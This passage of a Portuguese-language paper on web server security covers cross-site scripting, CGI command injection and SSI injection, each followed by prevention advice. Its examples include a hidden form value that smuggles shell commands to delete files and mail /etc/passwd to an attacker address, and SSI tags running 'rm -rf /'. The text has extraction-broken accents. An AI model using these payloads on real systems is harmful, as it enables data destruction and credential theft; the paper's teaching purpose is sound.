Se um atacante digitar um link como este e a aplicaç ã o Web n ã o validar a entrada, ent ã o o browser ir á mostrar uma mensagem de alerta mostrando o conjunto corrente de cookies.

Um exemplo pr á tico dessa vulnerabilidade pode ser visto na tela abaixo onde foi acrescido target=<script>alert(“XSS”)</script> no fim da URL padr ã o do site. Uma janela de alerta é exibida.

Figura 2: Exemplo de uma tela com uma mensagem de alerta devido a CSS Este

Figura 2: Exemplo de uma tela com uma mensagem de alerta devido a CSS

Este é um exemplo fraco, mas um atacante pode causar muito mais dano, como roubar senhas, resetar sua homepage ou redirecionar para outro site.

3.4.3) Como prevenir CSS

H á medidas que podem ser tomadas para ajud á ­lo a prevenir esses tipos de ataques:

Sempre faç a as entradas provenientes de fontes externas passarem por um processo de validaç ã o, como qualquer entrada de formul á rios, cookies ou uploads de arquivos.

Defina estritamente tipos de dados permitidos. Rejeitando tudo, exceto entradas

v á lidas (em vez de rejeitar apenas entrada inv á lida conhecida, pois assim se impedira que os crackers venham com maneiras mais dif íceis de evitar o seu validador).

Se voc ê já está validando caracteres v á lidos (e você geralmente deve), isto é feito facilmente omitindo os car á ter especiais simplesmente da lista de car á ter v á lidos.

Sempre valide a entrada ap ó s decodific á ­la, e n ã o antes. Isso impede que o cracker lhe passe variantes de có digo de explora ç ã o codificados na URL.

Sempre especifique o charset para todas as p á ginas din â micas (e, preferencialmente, para qualquer p á gina). Os navegadores usam conjuntos de caracteres (charsets) padr ão diferentes dependendo de diversos fatores. Foram criadas exploraç õ es que aproveitaram­se da ambig ü idade do charset para enviar texto aparentemente in ú til em seu site que, quando exibido em um determinado charset, produzia uma efeito de ativaç ã o entre sites.

Concluindo, os problemas com CSS n ã o podem ser menosprezados em hip ó tese alguma,

v

á rios ataques dessa natureza em grandes sites pelo mundo. Com uma brecha desta, s ó depende da

curiosidade e criatividade do atacante e deixando claro que este problema afeta qualquer linguagem que permite desenvolvimento de aplicaç õ es web, independente de plataforma.

3.5) Ataques via CGI Scripts

3.5.1) Introduç ã o sobre CGI

CGI significa Common Gateway Interface e é uma tecnologia utilizada para fazer a passagem (gateway) entre o browser e as aplicaç õ es residentes no servidor.

É uma aplicaç ã o de servidores utilizada geralmente para 1) processar solicitaç õ es do navegador (browser) atrav é s de formulá rios HTML, enviando o resultado em p á ginas din â micas HTML, 2) mostrar banners publicitá rios, permitir o envio de mensagens, 3) efectuar o processamento de contadores de acesso a p á ginas web , dentre outras aplica ç õ es, utilizando­se linguagens como Perl, C e C++.

P á ginas interativas utilizando CGI consistem na forma mais conveniente de manipular dados no servidor web. Mas infelizmente existem alguns riscos de seguran ç a para servidores web rodando em UNIX.

Embora remover os servi ç os de CGI possa parecer uma op ç ã o, isso definitivamente seria uma coisa fora da realidade. Para garantir seguran ç a ao seu servidor web, você primeiramente tem que definir uma política para CGI.

3.5.2) Exemplo de ataques sobre CGI Scripts

Enviar o arquivo de senha (sem shadow) para ele mesmo.

Obter informaç õ es do sistema armazenadas no /etc.

Com algumas linhas de Perl, ele pode “startar” uma porta alta no seu servidor dar um telnet.

Deletar sistemas de arquivos importantes e arquivos de configuraç ã o.

Fazer negaç ã o de serviç o em portas espec íficas

Fazer exploraç ã o exaustiva do seu sistema de arquivos.

etc

3.5.3) Exemplo de um ataque via CGI

e

Esse exemplo basea­se numa chamada CGI em PERL

Imagine que um usu á rio chamado Sr. X tenha o seguinte formu á rio na web :

<HTML>

<BODY> <H1> Formul á rio de resposta para Sr. X </H1> <FORM
<BODY>
<H1> Formul á rio de resposta para Sr. X </H1>
<FORM
ACTION="http://www.algum.lugar.com.br/cgi­bin/resposta.pl" METHOD="get">
<INPUT TYPE="hidden" NAME="meu_endereco"
VALUE="esperto@algum.lugar.com.br">
<INPUT TYPE="text"
NAME="comentario">
<INPUT TYPE="submit" VALUE="Enviar comentá rio">
</FORM>
</BODY>
</HTML>

Este é um formul á rio simples, no qual o usu á rio entra com uma mensagem para ser enviada para um script chamado resposta.pl. Dentro do script resposta.pl vamos encontrar a seguinte linha (suponha que as v á riaveis já tenham sido passadas):

system("/usr/lib/sendmail ­t $meu_endereco < $arq_temp")

Com a resposta do formulá rio sendo gravada em um arquivo tempor á rio para ser enviada via e­mail para o Sr. X. Agora imagine que o hacker tenha salvo o formulá rio localmente e setado o mesmo com o seguinte valores :

<HTML> <BODY> <H1> Invadindo algum.lugar.com.br ! </H1> <FORM
<HTML>
<BODY>
<H1> Invadindo algum.lugar.com.br ! </H1>
<FORM
ACTION="http://www.algum.lugar.com.br/cgi­bin/resposta.pl" METHOD="get">
<INPUT TYPE="hidden" NAME="meu_endereco"
VALUE="; rm *; mail ­s hacker@no.mundo.com.br < /etc/passwd;">
<INPUT TYPE="text"
NAME="comentario">
<INPUT TYPE="submit" VALUE="Enviar para hacker">
</FORM>
</BODY>
</HTML>

Os pontos­e­virgula no campo hidden sã o um delimitador para separar comandos UNIX, possibilitando a execu ç ã o semelhante a uma linha de comando shell. A chamada de sistema em Perl gera um shell UNIX, e neste caso, executa os comandos do campo value, removendo os arquivos do diretó rio corente e enviando um e­mail com o arquivo de senhas para o hacker.

3.5.4) Como prevenir ataques via CGI

O primeiro ponto para definir uma pol ítica de seguran ç a para os CGIs é considerar o dono dos processos que s ã o executados no servidor web. Muitos problemas de CGI estã o relacionados com user id (UID) e group id (GID) dos processos do servidor web. Os processos do nosso servidor web nunca devem rodar como root. Rodar o servidor web com a combina ç ã o nobody, nogroup é razo á vel pois d á o mínimo de privil é gio os programas CGI. Uma alternativa interessante é rodar os processos do servidor web com um UID e GID específico, por exemplo "www". Isso garante que o servidor web n ã o vai entrar em conflito com outros servi ç os que rodam como nobody. Para

configurar o UID e GID no Apache e no NSCA, veja o arquivo httpd.conf.

Em muitos servidores web os CGIs s ã o escritos por diferentes pessoas com v á rios n í veis de experiê ncia. Para programadores UNIX experientes é relativamente f á cil encontra furos em CGI atrav é s do protocolo HTTP. Para facilitar a administraç ã o e diminuir os riscos potenciais de seguran ç a, voc ê deve definir somente um diretó rio de CGI executá veis (em muitos servidores UNIX ele é chamado de cgi­bin) e permitir acesso de gravaç ã o somente para os programadores com conciê ncia e com competê ncia.

Muitos servidores web oferencem v á rias op ç õ es para setar a estrutura do seu diret ó rio de CGI. Você pode definir que os programas com exten ç ã o .cgi ou .pl, podem ficar localizados em qualquer lugar abaixo do root do servidor web. Esta é uma configuraç ã o ameaç adora, pois torna a monitora ç ã o e manuten ç ã o dos scripts muito dif ícil. É recomend á vel com precau ç ã o extra que os scripts s ó rodem embaixo do "Server root"

Você n ã o deve permitir que qualquer usu á rio tenha acesso ao conteú do do seu diret ó rio de CGI atravez da op ç ã o Index; desative esta op ç ã o no arquivo access.conf.

N ã o deve confiar na informa ç õ es passadas via script CGI. Em geral, n ã o permita os seguintes meta­caracteres na entrada de usu á rios: ; > < & * ` | $ #

3.6) Ataques via SSI

3.6.1) Introduç ã o sobre SSI

SSI ( Server­Side Includes) s ã o comandos extensivos (marca ç õ es) à linguagem HTML que s ã o processados pelo servidor Web antes da pagina HTML ser enviada. No lugar do comando é enviado apenas o resultado do comando no formato normal de texto HTML.

Os documentos HTML que cont é m SSI geralmente terminam com a exten ç ã o .shtml.

SSIs s ã o utilizadas, por exemplo, na inclus ã o de assinaturas ou logotipos de empresas em todos os arquivos criados. O “arquivo include” (que cont é m essa assinatura ou logotipo) fica armazenado no servidor, sendo inclu ído sempre que um arquivo HTML que contenha um comando include for solicitado.

Veja uma lista dos comandos SSI com uma breve descriç ã o:

config

echo

exec

flastmod

fsize

include

Define o formato de hor á rio, tamanho ou mensagens de erro.

Insere os valores das vari á veis SSI em p á ginas HTML.

Executa um comando de sistema ou um programa CGI, inserido a saida gerada pelo programa na p á gina da web.

Insere na p á gina a data de ú ltima modificaç ã o do arquivo.

Insere na p á gina o tamanho do arquivo.

Insere o conteudo de arquivos HTML em p á ginas da web.

3.6.2) Exemplo de vulnerabilidade

Imagine um livro de visitas (guestbook) onde as pessoas podem colocar seu comentá rios. Suponha que um hacker insira um dos comandos em um dos espaç os a preencher.

1)

<!­­#exec cmd="/bin/rm ­rf /" ­­>

Na pr ó xima vez que algum navegador acessar a p á gina, todos os arquivos do diretó rio corrente ser ã o deletados.

2)

<!­­#exec cmd="find / ­name nome_arq ­print" ­­>

Ele vai procura por um arquivo chamado ‘nome_arq’. Se o hacker colocar isso algumas centenas de vezes no seu livro de visitas, seu servidor com certeza vai parar.

3.6.3) Como prevenir ataques via SSI

Se seu servidor permite rodar programas CGI e forem seguidas as mesmas restri ç õ es definidas para os programas CGI quando utilados os SSI, n ã o haver á riscos adicionais; caso você n ã o tenha certeza quanto as restri ç õ es dos CGIs recomendo desabilitar o comando exec do SSI, o qual executa comandos com o UID do servidor web.

Uma poss ível solu ç ã o seria desabilitar o SSI em servidores NCSA e Apache, olhe o arquivo access.conf e tenha certeza de que a diretiva "Includes" n ã o esteja na lista de op ç õ es. Aqui est á um exemplo do diretó rio root, mas você deve verificar todos os diret ó rios definidos :

#/home/www/docs inicio do root <Directory /home/www/docs>

# Aqui pode existir "None", "All" ou qualquer combina ç ã o de

# "Indexes", "Includes", "FollowSymLinks",

# "ExecCGI"ou "MultiViews".

Options Indexes FollowSymLinks </Directory>

Cheque tamb é m no arquivo srm.conf, as seguintes linhas :

Addtype text/server­parsed­html .shtml executas comandos SSI

Addtype text/server­parsed­html .html

# todos os arquivos terminados com .shtml pode

# todos os arquivos terminados com .html podem

executar comandos SSI

Se vc quiser utilizar comandos mais simples do SSI no seu servidor, é aconselh á vel desabilitar o comando exec, para isso coloque "IncludesNOEXEC" na lista de configuraç ã o e só permita a execu ç ã o de comandos SSI nas p á ginas com exten ç ã o .shtml. Isso vai eliminar a maioria dos problemas; mas você ainda est á sujeito a brincadeiras. Por exemplo, considere uma centena destas linhas no seu livro de visitas :

<!­­#echo var="LAST MODIFIED" ­­>

4) Conclus ã o

Atrav é s de nossas avaliaç õ es verificamos que servidor mais seguro é o Apache e isto é evidenciado pela prefer ê ncia deste em relaç ã o a outros servidores web pelos administradores de hosts. Nosso objetivo acima foi mostrar as principais vulnerabilidades presentes nas aplicaç õ es em WebServers e algumas tentativas de elimin á ­las (que por enquanto s ã o aplicá veis). Essas vulnerabilidades foram escolhidas devido a sua freq üê ncia na literatura e citaç õ es na internet. Elas foram abordadas de forma bem ampla, pois h á dezenas de vulnerabilidades que as exploram e a cada dia surgem novas vulnerabilidades baseadas nelas, veja como exemplo a freq üê ncia com que vulnerabilidades explorando buffer overflow s ã o encontradas.